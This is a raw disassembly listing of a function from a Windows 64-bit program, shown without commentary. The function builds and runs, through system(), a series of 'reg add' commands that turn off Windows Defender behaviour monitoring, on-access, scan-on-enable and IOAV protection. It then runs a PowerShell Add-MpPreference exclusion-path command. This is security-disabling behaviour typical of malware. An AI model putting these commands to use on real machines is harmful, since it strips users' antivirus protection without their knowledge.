lea rcx, [rbp + 0x38]
call fcn.14000d5f0
xorps xmm0, xmm0
movups xmmword [rbp + 0x18], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x28], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x18], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x28], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov dword [rsp + 0x44], 0x3e1
lea r8d, [rbx + 0x62]
lea rdx, str.reg_add__HKLMSOFTWAREPoliciesMicrosoftWindows_Defender___v__ServiceKeepAlive___t_REG_DWORD__d_0__f
lea rcx, [rbp + 0x18]
call fcn.14000d5f0
xorps xmm0, xmm0
movups xmmword [rbp - 0x70], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x60], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x70], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x60], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov dword [rsp + 0x44], 0x7e1
lea rdx, [rbp + 0xe8]
cmp qword [rbp + 0x100], 0x10
cmovae rdx, qword [rbp + 0xe8]
mov r8, qword [rbp + 0xf8]
lea rcx, [rbp - 0x70]
call fcn.14000d5f0
xorps xmm0, xmm0
movups xmmword [rbp + 0x120], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x130], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x120], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x130], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov dword [rsp + 0x44], 0xfe1
lea r8d, [rbx + 0x4f]
lea rdx, str.reg_add__HKLMSOFTWAREPoliciesMicrosoftWindows_DefenderReal_Time_Protection___f
lea rcx, [rbp + 0x120]
call fcn.14000d5f0
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x70], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x60], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x70], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov dword [rsp + 0x44], 0x1fe1
lea rdx, [rbp + 0xe8]
cmp qword [rbp + 0x100], 0x10
cmovae rdx, qword [rbp + 0xe8]
mov r8, qword [rbp + 0xf8]
lea rcx, [rsp + 0x60]
call fcn.14000d5f0
xorps xmm0, xmm0
movups xmmword [rbp + 0x180], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x190], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x180], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x190], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov dword [rsp + 0x44], 0x3fe1
mov r8d, 0x84
lea rdx, str.reg_add__HKLMSOFTWAREPoliciesMicrosoftWindows_DefenderReal_Time_Protection___v__DisableBehaviorMonitoring___t_REG_DWORD__d_1__f
lea rcx, [rbp + 0x180]
call fcn.14000d5f0
xorps xmm0, xmm0
movups xmmword [rbp + 0x1a0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x1b0], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x1a0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x1b0], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov dword [rsp + 0x44], 0x7fe1
lea rdx, [rbp + 0xe8]
cmp qword [rbp + 0x100], 0x10
cmovae rdx, qword [rbp + 0xe8]
mov r8, qword [rbp + 0xf8]
lea rcx, [rbp + 0x1a0]
call fcn.14000d5f0
xorps xmm0, xmm0
movups xmmword [rbp + 0x1e0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x1f0], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x1e0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x1f0], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov dword [rsp + 0x44], 0xffe1
lea r8, str.reg_add__HKLMSOFTWAREPoliciesMicrosoftWindows_DefenderReal_Time_Protection___v__DisableOnAccessProtection___t_REG_DWORD__d_1__f
lea rdx, [rbp + 0x1e0]
lea rcx, [rbp + 0x260]
call fcn.14000de00
nop
lea rdx, [rbp + 0xe8]
cmp qword [rbp + 0x100], 0x10
cmovae rdx, qword [rbp + 0xe8]
mov r8, qword [rbp + 0xf8]
mov rcx, rax
call fcn.14000d5f0
xorps xmm0, xmm0
movups xmmword [rbp + 0x200], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x210], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x200], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x210], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov dword [rsp + 0x44], 0x1ffe1
lea r8, str.reg_add__HKLMSOFTWAREPoliciesMicrosoftWindows_DefenderReal_Time_Protection___v__DisableScanOnRealtimeEnable___t_REG_DWORD__d_1__f
lea rdx, [rbp + 0x200]
lea rcx, [rbp + 0x288]
call fcn.14000de00
nop
lea r8, [rbp + 0xe8]
mov rdx, rax
lea rcx, [rbp + 0xc0]
call fcn.14000dec0
nop
lea r8, str.reg_add__HKLMSOFTWAREPoliciesMicrosoftWindows_DefenderReal_Time_Protection___v__DisableIOAVProtection___t_REG_DWORD__d_1__f
mov rdx, rax
lea rcx, [rbp + 0x240]
call fcn.14000de00
nop
lea rcx, [rbp + 0xc0]
call fcn.140001970
nop
lea rcx, [rbp + 0x288]
call fcn.140001970
nop
lea rcx, [rbp + 0x200]
call fcn.140001970
nop
lea rcx, [rbp + 0x260]
call fcn.140001970
nop
lea rcx, [rbp + 0x1e0]
call fcn.140001970
nop
lea rcx, [rbp + 0x1a0]
call fcn.140001970
nop
lea rcx, [rbp + 0x180]
call fcn.140001970
nop
lea rcx, [rsp + 0x60]
call fcn.140001970
nop
lea rcx, [rbp + 0x120]
call fcn.140001970
nop
lea rcx, [rbp - 0x70]
call fcn.140001970
nop
lea rcx, [rbp + 0x18]
call fcn.140001970
nop
lea rcx, [rbp + 0x38]
call fcn.140001970
nop
lea rcx, [rbp - 0x50]
call fcn.140001970
nop
lea rcx, [rbp + 0x220]
call fcn.140001970
nop
lea rcx, [rbp - 0x28]
call fcn.140001970
lea rcx, [rbp + 0x240]
call fcn.140001960
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x240]
call fcn.140001970
nop
lea rcx, [rbp + 0xe8]
jmp 0x1400086e1
mov r8, r14
lea rdx, str.powershell__Command_Add_MpPreference__ExclusionPath__
lea rcx, [rbp + 0x260]
call fcn.14000da10
nop
lea r8, [0x140023918]
mov rdx, rax
lea rcx, [rbp + 0x240]
call fcn.14000de00
nop
lea rcx, [rbp + 0x260]
call fcn.140001970
lea rcx, [rbp + 0x240]
call fcn.140001960
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x240]
call fcn.140001970
nop
mov rdx, qword [r14 + 0x18]
cmp rdx, 0x10
jb 0x14000871d
inc rdx
mov rcx, qword [r14]
cmp rdx, 0x1000
jb 0x140008718
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140008760
mov rcx, r8
call fcn.14001f0bc
mov qword [r14 + 0x10], 0
mov qword [r14 + 0x18], 0xf
mov byte [r14], 0
mov rax, qword [rsp + 0x58]
mov rcx, qword [rbp + 0x2f8]
xor rcx, rsp
call fcn.14001f060
mov rbx, qword [rsp + 0x450]
add rsp, 0x400
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call fcn.140001940
int3